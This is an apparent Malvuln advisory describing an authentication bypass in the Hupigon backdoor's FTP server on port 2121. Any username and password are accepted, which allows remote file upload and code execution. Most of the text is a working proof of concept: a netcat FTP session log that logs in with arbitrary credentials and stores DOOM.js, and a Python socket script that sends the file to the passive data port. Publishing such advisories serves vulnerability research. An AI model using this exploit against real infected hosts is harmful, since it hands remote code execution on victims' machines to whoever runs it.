Backdoor.Win32.Hupigon.afjk Authentication Bypass / Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/8dc8abc99c1e7908fe9d048a4e360960.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Hupigon.afjk  
Vulnerability: Authentication Bypass RCE  
Description: The malware runs an FTP server on TCP port 2121. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.  
Type: PE32  
MD5: 8dc8abc99c1e7908fe9d048a4e360960  
Vuln ID: MVID-2021-0350  
Disclosure: 09/25/2021  
  
Exploit/PoC:  
nc64.exe 192.168.18.125 2121  
220 Welcome To huigezi Ftp!  
USER mal  
331 Password required for mal.  
PASS vuln  
230 User mal logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
CDUP \  
250 CWD command successful. "C:/" is current directory.  
PASV  
227 Entering Passive Mode (192,168,18,125,227,172).  
STOR DOOM.js  
150 Opening data connection for DOOM.js.  
226 File received ok  
  
  
from socket import *  
  
MALWARE_HOST="192.168.18.125"  
PORT=58284  
DOOM="DOOM.js"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`